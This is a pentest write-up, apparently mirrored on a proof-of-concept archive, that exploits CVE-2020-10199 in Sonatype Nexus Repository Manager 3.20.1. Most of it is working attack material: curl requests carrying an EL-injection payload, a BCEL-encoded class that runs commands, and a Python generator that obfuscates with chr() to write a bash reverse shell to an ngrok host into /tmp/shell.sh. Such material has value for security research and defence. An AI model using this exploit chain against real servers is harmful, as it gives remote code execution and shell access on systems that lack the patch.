关联漏洞
介绍
# CVE-2020-10199
之前在 PT 的時候,遇到了目標環境中有架設 Nexus Repository Manager,踩了一些坑最後還是拿到 Shell 了。
稍微做個紀錄,未來有用到就比較方便回顧。
---
目標版本: Sonatype Nexus Repository Manager OSS 3.20.1-01
---
拿 PoC 測試 Code Execution 確認漏洞存在. (注: 此時是登入 session 的, 因為剛好有發現到目標環境 default credential 問題)

```shell=
curl -i -s -k -X $'POST' \
-H $'Host: vulnerable.host:8081' -H $'Content-Length: 211' -H $'Content-Type: application/json' \
-b $'NX-ANTI-CSRF-TOKEN=0.556095932101016; NXSESSIONID=1dde28fd-1606-4ee3-9c6a-0a2f10791f4b' \
--data-binary $'{\x0d\x0a \"name\": \"internal\",\x0d\x0a \"online\": true,\x0d\x0a \"storage\": {\x0d\x0a \"blobStoreName\": \"default\",\x0d\x0a \"strictContentTypeValidation\": true\x0d\x0a },\x0d\x0a \"group\": {\x0d\x0a \"memberNames\": [\"$\\\\A{7*7}\"]\x0d\x0a}\x0d\x0a}' \
$'http://vulnerable.host:8081/service/rest/beta/repositories/go/group'
```
---
嘗試網上流傳的 RCE PoC,打下去發現沒辦法成功。
可以觀察到輸出原封不動的吐回 payload。
https://github.com/jas502n/CVE-2020-10199

---
一步一步 debug,看看哪邊出現問題。
觀察到 `"$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6]}"` 是有反應的,可是接了 `invoke()` 就會失敗。

---
繼續 debug,發現 `getRuntime()` 似乎是無法訪問的。

---
而且似乎也沒辦法 `setAccessiable(true)` 成功,猜測 JVM 中有某些安全設置阻擋了反射操作。

---
但至少我們知道了確實存在 Java EL Code Execution 漏洞,剩下的只剩下找到正確的路徑成功 RCE 並且也能返回輸出訊息。
https://blog.orange.tw/posts/2018-08-how-i-chained-4-bugs-features-into-rce-on-amazon/
https://stack.chaitin.com/techblog/detail/30
查了幾篇研究後,終於發現到一個可用的 BCEL RCE Payload

```shell=
curl -i -s -k -X $'POST' \
-H $'Host: vulnerable.host:8081' -H $'Content-Length: 1943' -H $'Content-Type: application/json' \
-b $'NX-ANTI-CSRF-TOKEN=0.556095932101016; NXSESSIONID=1dde28fd-1606-4ee3-9c6a-0a2f10791f4b' \
--data-binary $'{\x0d\x0a \"name\": \"internal\",\x0d\x0a \"online\": true,\x0d\x0a \"storage\": {\x0d\x0a \"blobStoreName\": \"default\",\x0d\x0a \"strictContentTypeValidation\": true\x0d\x0a },\x0d\x0a \"group\": {\x0d\x0a \"memberNames\": [\"$\\\\A{\'\'.class.forName(\'com.sun.org.apache.bcel.internal.util.ClassLoader\').newInstance().loadClass(\'$$BCEL$$$l$8b$I$I$7c$m$n_$A$Deval$$class$A$8dT$5bO$TQ$Q$fe$O$ddv$cb$b2$U$u$d7$827$f0$c2B$vU$f1$da$o$m$V$US$c1$80$c14$3em$b7$87$ba$a4$ddm$b6$5b$c2$3f$f2Uc$d2$gI$7c$f4$c1$9f$e2$8fP$e7l$97$5eB$8d$b6$e9$cc93$df$99$f9f$e6$9c$fe$f8$f5$f5$h$80$3bx$a9$60$Y$8b2$e2$K$fa$84$5e$92$91P$b0$8c$a4$Q$b7$VB$dcU$Q$c4$8a$C$J$f7$84$b8$_$80$P$c2x$u$f4$p$Z$8fe$a4$YB$ab$a6e$bak$M$Bm$e1$90A$ca$d8$F$ce0$945$z$be$5b$x$e7$b9$f3F$cf$97$c8$S$cd$da$86$5e$3a$d4$jS$ec$7d$a3$e4$be7$ab$U$p$cbO$f4R$9a$f6$fc$94$h$M$b7$b4$ec$b1$7e$a2$tK$baUL$k$b8$8ei$V$d3$L$XM$94$d3$u$XD$e8$k$ae$c1$aa$b7$da$ac$99$a5$Cw$Yb$X$40$be$8b$b0$91$7c$ed$e8$88$3b$bc$b0$cfu$P$3c$d5$E$9bvr$b3$cb$p$u$96$a82$ca$ecp$o$ael$9d$g$bc$e2$9a$b6U$95$n$9ce$dd$b4$Y$s$b4w$3d$K$Q$dd$d1$9d$o$j$h$ed$e1$a6$60$Hv$cd1$f8$b6$v$3a$d3$_$3a$b2$yP$wF$Qe$98$fc$L$7d$ca$d6$9b$x$95$7c$ee$d8$b1$w5$97Nq$bd$dc$f4$c9XU$f1$Ek$w$a6$b0$$cC$c5Sl$8aD$Z$n$9e$a9$d8$c2$b6$8a$e7x$c1$c0$U$V$3b$d8$W$b3$nF$M$c3m$k$7b$f9cn$b8TN$x$cf$5e$ab$l$M$pm$e0$7e$cdr$cd2U$a5$U$b9$db$da$8ck$9d3$f5$cd$d4$87$f9$7fL$ff$b5c$h$bcZMw$a5$f0$8d4KJ$d1Q$_5$ee$3cMw$p$e8$f8$94$d6$d3$n$G5$dav$f9$93$X$d60$f9$LYo$fecZ$cf$L$Z$d2$x$Vn$d1$9dL$fc$d7$Vn_$c1$b0k7M$98$c5$Q$3dL$f1$J$80$89$d9$93$i$a5$dd$KiF$3a$b8$d8$A$fbD$8b$3e$8c$91$U$8f$91$8c$f4$3ee$8c$d3Jm$820$81I$d2T$qb$84$Q$B$3e$pD_$ms$86$be$5c$D$81Wg$90rg$I$e6$be$m$U$afC$ae$p$dc$40$7f$D$can$a2$8e$81$5cJ$fa$8e$e8RL$aaC$8d$O$92x$fb$e1$f7$cf$a5$3a$o$a9$60$y$f8$b1$95$7e$da$L$a9$m$8c$Bb$3e$888$oH$R$ff$Nb$$$e8$ac5S$fat$c4j$g3D$x$8c4$$$e12E$99$c5$i$ae$e0$wU$ab$91$e7$g$fd$q$3a$j$m$fb$M$951Gg$q$c2_G$3fn$e0$a6$df$8b$b8W$g$3a$fb$Q$f2$Mc$j$3d$a0$ff$R$cc$7bZ$f3P$L$7f$A$f1$e1$81$9c$fb$E$A$A\').newInstance().exec(\'id\')}\"]\x0d\x0a}\x0d\x0a}' \
$'http://vulnerable.host:8081/service/rest/beta/repositories/go/group'
```
Post Body:
```json=
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": ["$\\A{''.class.forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$I$7c$m$n_$A$Deval$$class$A$8dT$5bO$TQ$Q$fe$O$ddv$cb$b2$U$u$d7$827$f0$c2B$vU$f1$da$o$m$V$US$c1$80$c14$3em$b7$87$ba$a4$ddm$b6$5b$c2$3f$f2Uc$d2$gI$7c$f4$c1$9f$e2$8fP$e7l$97$5eB$8d$b6$e9$cc93$df$99$f9f$e6$9c$fe$f8$f5$f5$h$80$3bx$a9$60$Y$8b2$e2$K$fa$84$5e$92$91P$b0$8c$a4$Q$b7$VB$dcU$Q$c4$8a$C$J$f7$84$b8$_$80$P$c2x$u$f4$p$Z$8fe$a4$YB$ab$a6e$bak$M$Bm$e1$90A$ca$d8$F$ce0$945$z$be$5b$x$e7$b9$f3F$cf$97$c8$S$cd$da$86$5e$3a$d4$jS$ec$7d$a3$e4$be7$ab$U$p$cbO$f4R$9a$f6$fc$94$h$M$b7$b4$ec$b1$7e$a2$tK$baUL$k$b8$8ei$V$d3$L$XM$94$d3$u$XD$e8$k$ae$c1$aa$b7$da$ac$99$a5$Cw$Yb$X$40$be$8b$b0$91$7c$ed$e8$88$3b$bc$b0$cfu$P$3c$d5$E$9bvr$b3$cb$p$u$96$a82$ca$ecp$o$ael$9d$g$bc$e2$9a$b6U$95$n$9ce$dd$b4$Y$s$b4w$3d$K$Q$dd$d1$9d$o$j$h$ed$e1$a6$60$Hv$cd1$f8$b6$v$3a$d3$_$3a$b2$yP$wF$Qe$98$fc$L$7d$ca$d6$9b$x$95$7c$ee$d8$b1$w5$97Nq$bd$dc$f4$c9XU$f1$Ek$w$a6$b0$$cC$c5Sl$8aD$Z$n$9e$a9$d8$c2$b6$8a$e7x$c1$c0$U$V$3b$d8$W$b3$nF$M$c3m$k$7b$f9cn$b8TN$x$cf$5e$ab$l$M$pm$e0$7e$cdr$cd2U$a5$U$b9$db$da$8ck$9d3$f5$cd$d4$87$f9$7fL$ff$b5c$h$bcZMw$a5$f0$8d4KJ$d1Q$_5$ee$3cMw$p$e8$f8$94$d6$d3$n$G5$dav$f9$93$X$d60$f9$LYo$fecZ$cf$L$Z$d2$x$Vn$d1$9dL$fc$d7$Vn_$c1$b0k7M$98$c5$Q$3dL$f1$J$80$89$d9$93$i$a5$dd$KiF$3a$b8$d8$A$fbD$8b$3e$8c$91$U$8f$91$8c$f4$3ee$8c$d3Jm$820$81I$d2T$qb$84$Q$B$3e$pD_$ms$86$be$5c$D$81Wg$90rg$I$e6$be$m$U$afC$ae$p$dc$40$7f$D$can$a2$8e$81$5cJ$fa$8e$e8RL$aaC$8d$O$92x$fb$e1$f7$cf$a5$3a$o$a9$60$y$f8$b1$95$7e$da$L$a9$m$8c$Bb$3e$888$oH$R$ff$Nb$$$e8$ac5S$fat$c4j$g3D$x$8c4$$$e12E$99$c5$i$ae$e0$wU$ab$91$e7$g$fd$q$3a$j$m$fb$M$951Gg$q$c2_G$3fn$e0$a6$df$8b$b8W$g$3a$fb$Q$f2$Mc$j$3d$a0$ff$R$cc$7bZ$f3P$L$7f$A$f1$e1$81$9c$fb$E$A$A').newInstance().exec('id')}"]}
}
```
Bytecode 部分是:
```java=
public String exec(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
String res = stringBuilder.toString();
return res;
}
```
---
之後發現目標主機上存在 `/bin/python`。
為了方便建立 Reverse shell,我寫了下面的 python 腳本。
目的是為了方便繞過 `".exec('')"` 裡面不能存在單引號、雙引號、Unix Pipelines 與 Unix Redirections 的限制。(會導致 JSON Invalid)
- 將 unix command 全部用 `chr()` encoded 起來。
- 再透過 `/bin/python` 將 unix command 寫入到某個檔案,比方說 `/tmp/shell.sh`。
- 之後再 `chmod +x /tmp/shell.sh` 就可以執行 shell script 了。
```python=
def to_chr_expr(s: str) -> str:
"""把字串轉成 chr(XX)+chr(YY)+... 的形式"""
return '+'.join(f'chr({ord(c)})' for c in s)
def generate_write_payload(file_path: str, content: str) -> str:
"""
產生一段 python payload,完全用 chr() 拼字串,不用引號,
寫入指定檔案,內容是 content,結尾自動加換行
"""
path_expr = to_chr_expr(file_path)
content_expr = to_chr_expr(content + '\n') # 自動換行
mode_expr = 'chr(119)' # 'w' 寫入模式
payload = (
f"python -c f=open({path_expr},mode={mode_expr});"
f"f.write({content_expr});f.close()"
)
return payload
if __name__ == "__main__":
path = "/tmp/shell.sh"
long_content = "bash -i >& /dev/tcp/0.tcp.jp.ngrok.io/17590 0>&1"
print(f'寫入路徑: {path}')
print(f'寫入內容: {long_content}')
payload = generate_write_payload(path, long_content)
print(f'生成 payload: \n {payload}')
```

---
生成完的 payload 拿去塞在 `.exec('')` 單引號裡面。
最後成功拿到一個 interactable reverse shell。

文件快照
[4.0K] /data/pocs/35628567bbca57c2e61237102efc1950bd2bf7b2
├── [4.0K] gallery
│ ├── [119K] arb_write.png
│ ├── [249K] getRuntime_isAccessible.png
│ ├── [255K] getRuntime_setAccessible.png
│ ├── [ 48K] got_shell.png
│ ├── [240K] poc_test.png
│ ├── [288K] rce_attemp.png
│ ├── [269K] rce_debug.png
│ └── [565K] rce_suc.png
└── [8.6K] README.md
1 directory, 9 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。